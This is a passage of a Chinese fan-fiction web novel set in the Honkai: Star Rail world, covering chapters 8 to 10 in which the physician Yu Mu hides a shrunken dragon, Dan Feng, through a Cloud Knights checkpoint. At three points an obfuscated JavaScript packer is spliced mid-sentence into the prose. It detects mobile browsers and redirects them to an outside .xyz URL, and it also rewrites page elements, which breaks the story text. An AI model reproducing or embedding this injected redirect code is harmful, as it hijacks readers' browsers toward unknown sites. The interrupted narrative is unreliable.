笔落在一边,看着写了一半的报告书,郁沐思索几秒,用左手拾起笔。 接续下去的文字虽然勉强能看,但显然丑了一大截。 画上最后一个句号,刚要提笔写落款,一阵不容忽视的痒意突然从腰间窜起,连带筋络和皮肤,令他一下丢了笔,呼吸变重。 奇怪。 郁沐轻喘了一声,像被什么东西舔舐,半边身体都战栗着,腰背一下塌了下来。 他勉强集中精神,找到了古怪触感的源头。 是饮月。 又或者说,是咬着什么东西的饮月。 沉睡的持明拱在郁沐掌心,长吻微微张开,湿润的舌尖在牙齿中吐出一抹红色,它睡得迷迷糊糊,一片金色的银杏叶枝桠柔软,正被它叼在口中含着。 银杏叶的枝茎不长,非常纤细,幼嫩如同新生,它正颤巍巍地在持明的舌底压着,没过一会,又被密集的齿缘反复厮磨、戏耍。 银杏叶的另一段连着郁沐右手的伤痕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丹枫头痛欲裂,他趴在地上,不知过了多久,忍过钻心的疼痛后,抬头,忽然看见被夷为平地的视野尽头,一具巨大的、肉枝丛生的树根在不断蠕动,分裂出新的枝条。 尽管树冠已经被烧焦,布满再也无法再生的腐败断痕,毁烂的千面却逐渐从新生的抽条中生长出,幻化为可怖的、阴冷的、邪恶的人面。 那是千面巨树,倏忽! 渴望新生的死敌从一截截焦苦的茎叶中生长,生命力蓬勃不息,丰饶的赐福无穷无尽。 可丹枫只能看着,看着孽物卷土重来,看着持明日渐衰亡,看着战友身殒他乡,穷极光阴,竭尽心力,难辩旧业,徒留遗恨。 这噩梦仿佛重复了千百遍,永无尽头。 丹枫向前伸手,他看见自己的手掌化为斑驳龙躯,染血的利爪残留叶片的金黄,那金黄柔软、坚韧,瞬间包裹住了他的身躯、面部、爪尖,爬满鳞片,嵌入缝隙,左右拉扯。 丹枫痛苦地发出低吟,却不是人类的声音,而是龙吟。 “你叫,丹枫,对吗?” 忽然,有一道声音响在耳畔。 那声音平淡、冷冽,声线奇怪,语调生涩,带着非人类的冷酷感。 丹枫猛然抬头,视野却被剥夺,只能感觉有什么东西覆上了他的脸颊,粗糙的触感撕扯着他的鳞片和龙角。 丹枫试图睁眼,再仔细看清一点,但沉重的思绪如同进入波月古海,被冷冽的海水冲散,再不复还。 —— 阳光很亮,透过窗框,直直射在郁沐的眼睑上。 他被迫睁开眼,动了动胳膊,却发觉半边身体都断开连接了。 奇怪。 他缓慢地转动视线,怀里的填充感过强,身躯上的压力也过大,丝毫不像是盖了一床被子的效果。 掀开被子,向下一望,首先看见的是两个莹莹绿光的龙角,以及被龙涎打湿一大片的衣襟。 “……” 郁沐脑袋转了一大圈,几十秒之后,把腰上缠着的龙尾取下,坐起来,盯着中间用来隔离的被子——另一边有压痕,但不重,似乎没能起到隔离的效果。 仔细回忆昨晚睡着时的位置,郁沐仰头望天,放空了好一会,得出结论。 他绝对不会为‘自己夜半梦游,不小心爬到饮月那半边床铺鸠占鹊巢’的行为道歉的。 绝对。 8.第8章 郁沐爬出被窝,理好床铺,持明仍然在睡,卧盘着,像一个青色小丘。 郁沐盯了持明一会,走过去,抱起对方,上下掂量了几次,又捧住龙头,高举,在重力的作用下,龙躯抻成一长条,在空中微微卷曲、晃动。 尾巴拖地了好多,已经可以整个放下了,昨天才只有半个巴掌那么宽的。 “果然不是错觉,比之前长了,也重了。”郁沐想。 他从幽囚狱将丹枫拐,不,捡回来的时候,丹枫尚且维持着人形,但自他拔出对方身上的锁龙针后,失去钳制的持明便一卷云水,化成了龙身。 郁沐检查了下对方的鳞片,曾经遍布龙躯的创伤已经愈合大半,气息强劲,或许不日就会醒来。 按理来说,即便是「不朽」的龙裔,恢复速度也不应该这么快,但谁让对方咬了不该咬的东西呢。 郁沐揉了揉手臂上的伤口,一片银杏叶从指缝中探出,幼嫩的叶脉上有一处凹陷,状似牙印,表面破损,金黄的汁液凝固在齿痕边缘,如同熔炼过的黄金,色泽鲜亮。 它似乎不安极了,一个劲地晃动,但郁沐盯了它几秒,又觉得像是炫耀,最终,他面无表情地,狠狠把叶片按了回去。 他不允许任何一片叶子,舞到自己脸上来。 手臂上的绷带有点散了,郁沐重新换药,随后给自己蒸了一碗浮水蛋花汤,配上一碟貘貘卷,坐在外廊上慢慢吞吞解决早餐。 仙舟是中控模拟天气,一年四季分明,气温适宜,无战事时生活悠闲惬意。 如今是夏季末尾,早上八九点钟阳光正温和,长乐天的小贩起得早,郁沐听力好,大老远就能听见说书和叫卖的吆喝声。 他放下碗碟,给自己沏了一杯茶,是前几天向「不夜侯」老板娘学来的秘方,但也不知是哪一味放少了,总没有老板娘沏出来的甘甜清爽。 捧着茶杯,他回头看了一眼,阳光涂满外廊的每一处地板缝隙,宛如流淌着浅淡的金水。半开的门扉内部,碧玉般的持明叼着尾巴,眼角的绯色像一簇火苗,静静地在雪白的被子里燃烧。 它时不时从喉咙里滚出几声低沉又细小的龙吟,睡得很香。 郁沐想了想神策府那只成日叼着景元衣摆滚来滚去的雪团子,听说狸奴睡觉的时候会发出凶悍的星槎启动声,与之相比,持明还算斯文。 坐了一会,他拿出玉兆,确认今日行程。 “去地衡司上交昨晚的任务报告,丹鼎司……今日没有坐诊,下午三点有个研讨会……波月古海岸边在开展‘仙舟持明一家亲联谊交流会’?这是什么活动。” 随手翻着今日的日程表,郁沐停在一个奇怪的活动栏,点进去,仔细阅读,“……为了关爱空巢持明,我司举办了近距离聆听持明烦恼的亲民活动,旨在拉近与持明一族的关系……” 空巢持明? 郁沐情不自禁地回头看了一眼被窝里的持明。 家里这只有巢,很温暖,应该不算被关爱对象。 他视线又落到玉兆界面上,想点关闭,却被一行小字吸引: “报名参与即可获赠持明经典造型手办盲盒,有机会开出龙尊稀有版特典,先到先得,送完为止。” 龙,尊,稀,有,版,特,典! 郁沐呼吸一滞。 0.01秒后,他手臂上突然窜出一片嫩叶,狠狠pia在了报名按钮上。 界面上瞬间跳出一行字: “恭喜你,已经成功报名本次活动,丹鼎学堂户外课时+2,请按时前往参与活动哦~” 郁沐收起玉兆,抬手拄着下巴,思考一会,起身,在屋里走了一圈,最终停在角落的书柜前。 他端详片刻,拿来纸巾,仔仔细细在柜面上擦出一方空位,用手指比划几下,确认这里足够放下一个手办,满意地结束清理工作。 这时,墙壁上的挂钟发出提示声。 该去交报告了。 他拿出昨晚写好的报告装进药箱外夹层中,走向衣架,取下制服,刚要换上,就摸到半个残缺不全的袖子。 “……” 郁沐缓缓拎起被患者咬烂、镜流劈烂、冰柱刮烂的衣袖晃了晃,一粒纽扣刚好脱线,掉到地上,滚了一圈,撞在饮月的鼻尖。 持明打了个细小的喷嚏。 “入职时候说好的工作环境安全、人际关系简单呢?” 郁沐略感疲惫,转身离开,去找库房里的备用制服。 脚步声远去,卧室里一下安静了,阳光照在龙须上,持明在暗中睁开了眼。 仿佛被水雾笼罩着的碧色眼瞳没有神采,它茫然地从被子里抬头,左右张望几下,便向前挪了一截,一头栽进敞开拉链的药箱中。 像是嗅到了什么,持明眨了眨眼,忽然,云吟之水覆盖全身,瞬息之间龙躯幻化,不断缩小,整个钻了进去。 它收起尾巴,彻底消失在了拉链敞开的裂口中。 过了几分钟,郁沐换上新的制服,并顺手捎来几个丹典,有几本对他来说已经没用了,打算捐给丹鼎司的书库,但最近忙碌,一直忘记。 他把书塞进药箱上层,拉好拉链,瞥了眼床上的被子堆,关门离开了。 —— 从住所到地衡司公廨的路程不远,徒步十五分钟后,他走进地衡司。 白天的地衡司依旧人满为患,郁沐将报告书拿出,放眼四望,在一个角落里发现了羽偕,只不过对方脖子上戴了个扭伤圈,坐在椅子上,指挥身边的文官写材料。 “你怎么这副打扮?”郁沐走过去,将报告递给羽偕。 看见郁沐,羽偕一改严肃,愁容满面地长叹一声:“小神医。” “我叫郁沐。” “好的,小神医,实不相瞒,我的人生一定出了问题。” 羽偕惆怅地拉开一张椅子,示意郁沐坐下听故事,手顺便敲了一下身边偷懒的文官的头。 “熬了四十年终于从代书秘书转为主办司员,结果遇上倏忽之战,差点死在前线。 回来了好不容易官复原职,屁股还没坐稳,就因为饮月之乱,被差去持明纠纷调解岗干活,成天不是被以泪洗面的持明甩巴掌,就是被愤怒至极的持明扇尾巴。 求调职写了一千三百四十封信,总算回到地衡司,却接了惊天大案子……” “说重点。”在对方声泪俱下试图用他的衣摆擦鼻涕时,郁沐不近人情地阻止了对方。 “重点就是!为什么我职业生涯第一次办大案出外勤就因为撞见要犯被十王司拉去幽囚狱做了一整夜的笔录啊!!” 羽偕的眼睛都成了流泪煎鸡蛋,他指着自己的脖子:“更夸张的是,我居然在战场上昏过去了,再醒来时,我的脖子肿了这么大一个包啊!” 他用手夸张地比划了一下,“这么——大啊!受伤的云骑伤势都没我重啊!这个该死的项圈,丹士说我要戴一整个月,我,我还要找对象的啊呜呜。” 羽偕把头伸过来,拨开自己的头发,非要给郁沐看他颈后青紫的淤伤,和发炎后肿起来的大包。 “是不是很离谱?我已经向判官们说了这一定是哪个药王秘传干的,但他们非说当时在场的药王秘传都没有行动能力,怎么可能呢!我绝对不会出幻觉的,你也知道吧!” 羽偕拉着郁沐的袖子,哭唧唧道:“你可是我唯一的证人,当时只有你我在场,你要给我作主啊,我要抓到凶手,然后狠狠地!” “狠狠地?”郁沐有点紧张地重复他的话。 “打他的屁股!”羽偕恶狠狠地挥拳。 “……” 呲啦一声,郁沐起身,凳子在地上拖出一道刺耳的声音,好在地衡司内嘈杂,没什么人往这边看。 “你怎么站起来了,你去哪,你,你脸色怎么这么不好,你是被我吓到了?我开玩笑的,我不喜欢打人屁股……”羽偕视线追着郁沐,焦急地给自己解释。 “没什么。”郁沐面无表情地提起自己的药箱,并不经意地挡在了自己的侧腰处,“报告交到了,我先回丹鼎司了。” “等一下!”羽偕连忙追出来,将桌上一个牛皮纸袋包裹的东西塞给了郁沐。 东西怪沉的,很有分量。 “这是?” “你的奖金,基础报酬加外勤补贴,还有战地援护的津贴,给你按最高的规格申请的,这可是我加班做的申请单,一大清早拉着财务给我批的款,没人比我更快了。” 羽偕眨了下单眼,配上他戴着的展开式扭伤圈,像一株笑容灿烂的向日葵。 郁沐拿着手里沉甸甸的奖金,思索几秒,走到最近的桌案前,抽了张纸,写下一串药方,递给羽偕:“吃完这个,你的屏风就只用戴五天了。” “什么屏风……啊!”羽偕眼睛顿时有光了,“太好了小神医,你简直是救我于水火之间的恩人呜!” 救人于水火啊…… 救是救了,但这水火哪来的…… 因为心虚,郁沐没能回应,好在羽偕也不在意,他又自己乐呵了。 “那我岂不是能赶上半个月后的相亲会?太好了!” “相亲会?”郁沐的目光变得有少许微妙。 “不要这么看着我,是仙舟联盟相亲相爱一家人交流大会啦,我们都这么叫的。 据说会上,其他仙舟的将军和高层也会到场,固定五十年一届,一百年前是方壶仙舟主场,上届本该在曜青,但因为步离人进犯,被迫搁置了。这届是我们罗浮,虽然以我的职位只是去凑数,但也能在表彰大会上领一个勤奋奖……” 其他仙舟的将军和高层?一个神策将军就很难缠了,这要是再来…… “小神医?你怎么了,是不是哪里不舒服?”羽偕担忧地看向他。 “没事。”郁沐敛下眼道:“只是在考虑要不要辞职回老家了。” “啊?” “外面太危险了。” “这倒是,谁知道长乐天会有药王秘传,还出现了仙舟重犯……” “对了,这个案件的幸存者怎么样了?”郁沐转移话题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789004|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>羽偕脸上的笑意淡了一点,他攥着药方,踌躇几秒:“你要不要,亲自去看看?” —— “已经清点完毕,这是最后的遗物了。” “好的,记录整理好之后,就送还给家属吧。” “老师,这个怀表已经变形了,分不清是谁的,里面的照片也……” “打包回证物室,这样的遗物,还是别让家人看到的好。” 郁沐站在门外,隔着薄薄的窗纸,声音似远非近地传过来,屋檐垂下一线,分割开阴阳两面。 不多时,门扉发出声响,一群穿着地衡司制服的检验官走了出来,看见郁沐和羽偕,朝羽偕点了一下头,便离开了。 郁沐的视线掠过他们提着的遗物袋,落到一个女性狐人手中的证物袋上。 那里面有一块破损的怀表,被金色的血肉融化了表壳和零件,显得狰狞可怖。 那怀表应是放在紧贴心口的口袋里,被从心脏迸发出的枝桠贯穿、吸收,成了现在这副模样。 “病人们呢?”郁沐沉默半晌,再开口时,声线没有一丝波澜。 羽偕带着郁沐往偏殿方向走:“幸存者只有你救下来的三位,还处在昏迷状态,目前没有生命危险,其他人都已堕入魔阴,沦为孽物,消散于世了,除了一具尸体尚存。” 羽偕推开偏殿的门,一队身着精良铠甲的云骑在交谈什么,见有人来,为首的一名高大的云骑走了过来。 郁沐认识对方,是神策府的云骑侍卫长。 “郁沐医士,又见面了,我正要去找您,既然您来了,我就开门见山了。”侍卫长无视了羽偕,对郁沐道:“将军命我誊抄一份您的任务报告,并询问您几个问题。” “好,我的报告在这位地衡司主办官手里,请稍后与他联系。”郁沐指了指羽偕,又示意云骑可以开始问了。 “第一个问题,您是如何判断出患者们的伤势和病症,并正确配备药剂的,原理是什么。” “报告上有。” “很抱歉,您需要口述一遍。”侍卫长一板一眼道。 郁沐瞥了眼对方背在身后的手,以及铠甲上泛出的些微绿光——是玉兆记录语音时散发的光芒。 没亲自来拷问,或者像对待羽偕一样,把他拉去幽囚狱审问一番,也不知道是这位神策将军开恩,还是变相以一种柔和的方式对他加以防范。 罢了,以景元的脾气,多半是后者。 看在对方让他睡了半晚上好觉的份上,他道: “两百年前,丹鼎司从缴获的丰饶民禁书名录中整理了一批禁忌药物名单,其中有一个残缺的丹方叫‘充盈极乐散’。 据我的老师,曾经的绯权医士长研究,最终完善了此散服用和注射相应的躯体转化和痛症演变,其中最典型的病情就是魔阴身爆发,肌肉纹理呈螺旋状扭曲,位置较为固定,多位于躯干。 我的老师在倏忽之战前完成了相应的研究,制作出了初步的治疗药方,但他本人在倏忽之战中死亡,战后,我继承了他的衣钵,改进了药方。 说实话,我的药方并未经过实验,昨晚也是情急之下,不得不用患者试药,我已经做好了为我的误诊负责的打算,好在,我的药方有效,这也是我只配出了三支药剂的原因。 至于有关‘充盈极乐散’的一切研究,我会在整理完成后发表在丹鼎司学刊上,当然,由于‘充盈极乐散’是禁忌药物,老师为了此物不被有心之人利用,并未留下详细的原始配方,我所公开的也只是相应的治疗方案,供所有丹士研究。这是老师的成果,我没有私藏的资格,唯独这点,我在报告中着重进行了说明,请务必遵守,这是我作为……一个丹士的判断。 你还有其他问题吗?” 云骑侍卫长沉默了几秒,摇了摇头:“足够了,感谢您的配合。” “不客气,请问,昨晚保护我的云骑在哪?我想看看他们的情况。”郁沐转头,看向羽偕。 “在右侧病房,他们还在静养。”侍卫长突然道。 “谢谢。” 郁沐说完,走向云骑们所在的病房。 走了几分钟,羽偕像是回过神来,先是自己嘟哝了一串有的没的,紧接着好奇问道:“你还有这么厉害的师父?怪不得是小神医,小神医的师父肯定也是神医吧?” “嗯。”郁沐脑海里浮现出一个有些佝偻的身影,语气罕见地温和了一点:“是个还挺有意思的老头。” “多有意思?”羽偕问完,又苦着个脸:“难道只有我的师父天天打我戒尺吗?” “他为了治疗孽物,特意练习了用左手诊脉。” “啊?”羽偕一脸茫然,“等等,给孽物诊脉?这是新的地狱笑话吗?” “怎么不算呢……”郁沐思索片刻,没说出下一句话。 毕竟,那个为了寻求理论药效最大化的药材,胆大到拎着斧头一个人去砍建木树根的绯权,是个彻头彻尾的药王秘传。 而药王秘传给身为孽物的他诊脉,似乎,也蛮合理的? 9.第9章 郁沐一生中做的最多的事情就是睡觉。 在伸手就能触及到天际的、高高的枝桠上;在被巡猎的锋镝斫断的枯萎根脉旁;在古海潮动翻涌的滚滚波浪里,他总是一如往常地睡着。 中途有醒来的时刻,记忆大多朦胧、短暂,像时空棱镜上拼凑不全的碎片,但他切实地醒过,在一次又一次被人注目的刹那。 而比较特殊的一次,是被吵醒的。 那是一个穿着制服的男人,身材瘦小,目光却相当犀利有神,他手拿一把缺刃的斧头,正一下下朝建木的根须砍去。 建木未能被撼动丝毫,蚍蜉的力道甚至无法震落一片树叶。 他就那么重复地挥砍着,不知疲倦。 起初,郁沐不太理解对方在做什么,但他的确见过星神挽弓,见过战舰星槎化为烈火,视死如归地在这棵巨树上凿下烙印。 或许,这棵树有着吸引他人劈砍的特质——虽然它只是亘古不变地伫立此处,安宁收敛地散着枝叶罢了。 郁沐想过如过去一般听之任之,可对方砍树的声音实在有些吵闹,某天,他再度睁开眼睛,如同拂走一只虫子一般,驱赶走了那人。 本以为日子会重归平静,但第二天,那个怪模样的家伙又来了,并带来了一本书。 对方絮叨着什么,蚍蜉嗡鸣的声音不值神明一顾,但郁沐对那本书很感兴趣。 这次,他拿起了那本书,从未收获过睡前读物的郁沐翻开扉页,盯了几分钟后,百无聊赖地合上了。 他忘记了,自己不识字来着。 —— “所以,你怀疑药王秘传也继承了过去的研究,重新使用了那个能加速魔阴的……” “充盈极乐散。” “对,这个名字,简直和药王秘传给人的感觉一模一样。” “可能性很大。” 郁沐根据指示,和羽偕一起来到了病房前。 “那怎么办,按你说的,他们很可能拿平民在试药?”羽偕担忧了几秒,又看向郁沐,强打精神:“好在你已经研究出了新药方,药王秘传的算盘很快就要落空了。” “最好是。” 郁沐淡淡地回了一句,打开房门,进入病房。 一排十几个云骑军,齐齐整整地躺在病床上,有人醒着,有人睡了,有的在墙角做俯卧撑,还有的连忙藏起手里的话本小报,紧张兮兮地瞟着郁沐和羽偕。 郁沐无视投来的视线,走到最靠外的病床前——那位云骑队长从他进门后就直勾勾地看过来,令人很难不注意到。 “身体好点了吗?” 郁沐坐下,习惯性地询问。 队长点了点头。 郁沐挽起袖子为对方诊脉,片刻后,看向羽偕:“我需要黄经散,能帮我去前面的配药处借一罐来吗?” “你怎么丢三落四的。”羽偕一边唉声叹气,一边起身往门外走。 羽偕离开后,郁沐垂下眼,一言不发的队长说话了:“故意支走他,有话说?” 郁沐垂眸,拿出刚到手的厚厚一沓奖金,放在对方枕边。 “云骑不接受贿赂。” “你想多了,不是给你的,请替我补偿给受害者的家属,尤其是那具尚存的尸体的亲人。” “你说那具有异状的尸体?”队长蹙了下眉:“又不是你的错。” 他对那具尸体有所耳闻,身陷魔阴,与其他受害者不同,死后并未消失,尸首完好地保存了下来,只是大半五官被无端腐蚀、损毁,尸检也查不出原因。 “而且,他全身超过八成组织被丰饶吞噬,已经失去人形,身份无法识别,恐怕,这笔补偿款到不了他真正的家人手里。” “那就分给其他人。”郁沐道。 “建议你通过正规渠道捐赠出去,我没有权利收受你的钱财,替人做慈善。”队长看了眼那沓奖金的厚度,拿起,塞回郁沐手里。 “地衡司会给受害人的家属发放慰问金,你救了人,报酬是应得的,没必要这么有愧疚感。” 队长冷硬的面容略微柔和:“虽然有些鲁莽,但你冲出去的时候,我非常震惊,在卫庇仙舟这点,我收回你不适合当云骑的判断。” 郁沐思考几秒,点了点头:“你说的对。” 他收起自己没能送出去的抚恤金,正好羽偕在此时回来了,郁沐迅速给病房里的云骑诊完脉,确认众人身体无恙后,告辞离开。 偏房的走廊静悄悄,只有二人踏过地板的声音,郁沐打开手中玉兆,在日程表上勾掉早上的待办事项,身侧传来幽幽的叹息声。 “亏我给你多申请了奖金,你居然这么对我。” 郁沐眼都没抬:“我还以为你会一直装作不知道。” “不想让别人知道就小点声讨论秘密呀。”羽偕看向窗外忙碌的地衡司职员:“你的心情我倒是理解,虽然我没你那么无私就是了。” “无……私?”郁沐手指一顿,怔然地看向羽偕,似乎很难相信这两个字会形容在自己身上。 “怎么了,你这家伙看起来冷冰冰,实际人还怪好嘞。”羽偕笑着戳了下郁沐的脸颊,“像那位云骑说的,地衡司在发抚恤金这方面很慷慨,虽然最近有点入不敷出,但还轮不着你这样的平民操心。” “平民。”郁沐若有所思地咀嚼着。 “哦,不对,你是领官饷的,不算平民了。”羽偕道。 “算的。”郁沐垂下眼,“我只想过平静的生活。” “这艘仙舟上的每一个人都想,但。”羽偕欲言又止,郁沐明白对方隐去的话。 只可惜丰饶猖獗,涂祸不休,仙舟只能永远漂泊星海,开赴帝弓司命巡猎箭矢落下的方向。 —— 走到主路,羽偕告别郁沐,返回地衡司,郁沐提着药箱向前,他需要乘轮班星槎前往丹鼎司,还没到渡口,就发现长乐天临街盘查的云骑多了不少,甚至加设了几个安检隘口。 郁沐放慢脚步,走到围观的人群附近。 “成天搞来搞去,昨晚闹那么大动静说是爆破失误,今天又是什么理由。” “据说是有逃犯流窜到了长乐天,还可能是前云骑。” “云骑?这年头,告示板上逃犯通缉令都放不下了,前几天饮月君劫狱的犯人没找到,现在又多了个流窜在外的云骑,咱们罗浮真热闹,哪天丰饶民和岁阳再来……” “刚好凑一桌琼玉牌。” “我只想知道能不能赶紧放行,我上班要迟到了!” “……” 话虽这么说,在人流密集的地方设盘查哨岗,除了拥堵交通外还有其他的作用吗? “镜流又不会光明正大坐轮班星槎通勤。” 郁沐颇有怨念地碎碎念。 只有他这种兢兢业业的公务员会。 他确认情况后,提着药箱走向哨岗。 等待检查的队伍很长,但效率颇快,移动得很快。行人依次打开行李,在简单的贴身搜查后,快步离开。 郁沐思考了一下,药箱里除了一笔大额奖金之外,没有会引起怀疑的东西。 他放下心来,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799791|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着队伍行进,不过几分钟,就来到了云骑面前。 “请出示证件,打开行李,等待核验。”高大的云骑磕了一下阵刀,气势威严。 郁沐将药箱放在查验的桌上,将最上层的书籍和装奖金的纸袋子拿出,又伸手掏下层和夹层的药方笺与便携急救药品,手指触到玻璃瓶壁,刚要抓出来,突然顿了一下。 他的眼睛微微睁大,一向没什么神情的脸上出现了明显的惊愕。 等等,这个手感?! 一旁盘查的云骑见状走了过来,戒备的视线从面甲狭窄的缝隙里投射出。 他将阵刀向前一递,压低嗓音:“你在干什么?” 瞬间,周围的视线汇集在郁沐身上,附近几个云骑交换了下眼神,缓缓逼近。 警惕的视线刺得郁沐脊背沉重,像是坠着一块重石,晃悠悠地拉扯着他的心。 他垂着头,用不断摸索的指腹确认手感,那东西会动,表面光滑,在瓶瓶罐罐的缝隙里窜来窜去,走投无路了,便缠紧郁沐的手掌,用滑顿的齿尖磨蹭他的皮肤。 “喂!快把东西拿出来。” 背后传来云骑的低喝,阵刀背在郁沐肩膀上怼了一下,力道很重。 他不得不抬手,那东西却咬住他的手指,轻轻厮磨,被连着提了起来。 龙角蹭过药瓶,发出微不可察的划动声。 这下,拿出来不是,不拿出来也不是。 郁沐的面容隐在影子里,他瞥了眼远处告示板左上角那张面容端正的持明通缉令,平生第一次体会到了‘后悔’的情绪。 他错了,老练如云骑,选择设卡在长乐天的渡口是有意义的。 同为逃犯,镜流虽然不会大摇大摆地出现在长乐天街头,但他会。 而且是带着丹枫一起。 不对,他不是逃犯——至少现在不是,一会是不是……就不一定了。 “和你说话呢!” 这次,背后的云骑将阵刀的刃对准了郁沐,他刚要威吓,只见郁沐缓缓,将手从包里拿了出来。 空无一物。 “把手举起来!”云骑向前一步,将郁沐逼退。 郁沐露出一个抱歉的笑容,将双手举起,手掌平展,右手的袖子微微一晃,像是有什么东西从腕骨钻了进去,但速度很快,无法看清。 “这里面装的什么?” 他一退开,身边的云骑便走上前去,将药箱里的东西全拿了出来。 郁沐后退半步,垂下手,不经意地碰了下右侧手臂,喉结缓慢地上下一滚,嘴唇轻抿,仿佛在忍耐什么,没能第一时间听清云骑的问话。 “问你呢!”云骑声音提高了半度。 郁沐连忙瞥去,镇定回答,声音里却有几分细微的颤动:“药粉,上面有标签,我是丹鼎司的医士。” “丹鼎司?工作证拿出来。”云骑蹙眉道。 郁沐在衣兜里摸索一通,手指勾出工作证的绳子,拽出来,递给云骑的时候忽然僵住。 他呼吸骤然一重,喉咙里挤出一丝气音,眉头霎时拧着,像是生了什么急病,无法忍耐地捂住了左肋处。 “你怎么了?”云骑诧异地盯着他。 郁沐轻喘了几声,闭眼敛住情绪,几秒后,他抬起脸,面色虚弱地露出一个笑容: “没什么,就是心脏不舒服,或许是最近夜班加多了,总觉得身体硬硬的……” 他话音刚落,云骑的阵刀集体拄到了他鼻尖。 郁沐:“……” “我开玩笑的,真的。” 10.第10章 云骑比先前更戒备道:“把手抬起来,接受检查。” 郁沐乖乖抬手,即便隔着面甲,他也能嗅到云骑身上传来浓浓的怀疑和警惕,覆着铠甲的手搭了上来,在他身上四处摸索。 没有异样。 “这里也没有问题。”负责检查药箱的云骑摇了摇头。 众人看向郁沐,只见对方眼角下撇,一派乖巧无辜,后面排队的人等久了,一个劲伸头探脑,不耐烦地小声交头接耳。 “能不能快点,等着上班呢。” “在干什么,怎么不走了。” “好烦,我打卡要来不及了。” “……” 云骑彼此交换眼神,拍了拍郁沐的肩膀:“行了,走吧。” 喧闹的人群里,郁沐收好药箱,尽力保持稳重的步伐,一步步走出云骑的监视范围,在即将到达渡口时转入小巷,咚地一声,力竭似靠到墙壁上。 药箱脱手,砸在理石板,散落一团,但郁沐顾不得了。 他扯开制服纽扣,手背隐约鼓起青筋,压抑着喉间的气声,将那个作乱的爬行生物揪了出来。 小巷中昏暗,一线天光洒下,照亮他锁骨和胸膛处的皮肤。 雪白如纸的表面随意交错着几道爪痕,红如血线,斑驳零落。 郁沐捂住胸口被龙爪刮痛的部位,与指间盘虬着的持明对视。 想问对方是怎么跟过来,又为何缩小成了一手就能握住的体格,诸般疑问萦绕。 刚要开口,却见持明缠住他的手指,立起,探头,舌尖舔了舔前吻的边缘,像是在回味什么,一双苍青色的眼瞳下垂,望眼欲穿地盯着郁沐捂住的地方。 它甚至前倾,尾端用力,想挣开郁沐手指的钳制,再扑上来。 “岂有此理。”郁沐气笑了,“我不会再给你机会了。” 说着,郁沐用力,按住持明的腹部,屈指抵在龙爪下,将它捋成一条,慢条斯理地缠磨。 饮月变得很小,加尾巴也不过一个手掌,能轻易绕着郁沐的手腕打圈,形状更接近通体碧色的蛇,是郁沐完全没见过的姿态。 它没什么神智,隐约明白自己不可能再爬到郁沐身上随意撕咬,便歇了作妖的意头,懒散地盘着郁沐的手指,半咬不咬地磨着牙。 “异兽磨牙期多发于成长阶段,持明磨牙……难道是返祖了?” 郁沐心里诧异,他从持明重地‘借’来的古籍上没提过这茬。 从昨晚开始,对方似乎就很爱咬他,难道是近来未能进食,体力有亏,才会下意识撕咬? 可就算是这样,也不能什么东西都尝一尝…… 郁沐蹙眉,有些为难地看着占据他整个右手,仰面朝天、龙须晃动的持明——对方甚至还悠闲地荡着尾巴,没有情绪的眼睛像一块剔透宝玉,倒映着郁沐忧愁的脸。 景元面对狂躁拆家却不知悔改,甚至刻意眨着眼睛卖萌的狸奴的时候,也是这种心情吗? 郁沐 :“我接下来要去丹鼎司,不能带着你一起。” 饮月的眼睛直了一瞬,随即气势汹汹地咬上了郁沐的指甲,奈何它牙齿幼小,没有丝毫痛感。 “不可以吗?”郁沐揣摩对方的情绪。 饮月缠他更紧了一点。 是想一起走的意思。 片刻后,饮月张嘴,用前吻蹭他指节,状似催促。 现在折返回家安置持明虽说来得及,但为了躲开哨岗,要绕很远一圈路。 再者,以饮月现在的情况,难保对方不会再偷溜出来,一旦在街上被发现,他就又要去幽囚狱捞龙了。 想想就麻烦。 还是带在身边保险。 “走吧。” 郁沐单手拢好领子,拾掇药箱,提起,走出小巷,前往渡口。 到达丹鼎司的时候刚好赶上食堂开餐,郁沐应付了几口,便前往下午研讨会的地点。 丹鼎司的研讨会大多针对某一药理问题、疑难病例、丹方创新等前沿领域展开讨论,提出课题的医助长主持,参会人数不等,畅所欲言,不限职级,欢迎任何感兴趣的丹士提供建设性意见。 ‘定期参与一定数量的研讨会’是郁沐工作和医药培训课程的内容之一,尽管没太大兴趣,他还是会按时到场,并,坐在最角落的位置摸鱼。 只不过今天的摸鱼,确实是物理意义上的——因为郁沐在和饮月斗智斗勇。 偌大的会议室里,一张方形长桌摆在中央,病例研究的核心丹士在前排,郁沐则藏在长桌的最远端,正专心致志地按住随时可能弹射起步的饮月。 自从进了会议室,饮月便躁动不安,像是感知到了什么,一个劲扭动着,每次尾巴的拍击都力大无穷,仿佛下一秒就要开口喊出苍龙浊世,一道云吟把满屋子人都淹了。 真有精神,看起来健康状况是不用担心的,郁沐想。 他一手指着下巴,懒散随意地垂眼,右手手指飞舞,不断防住饮月的攻势。某个间隙,他突然发现饮月晾在外面的腹下,有一道折痕般的缝隙。 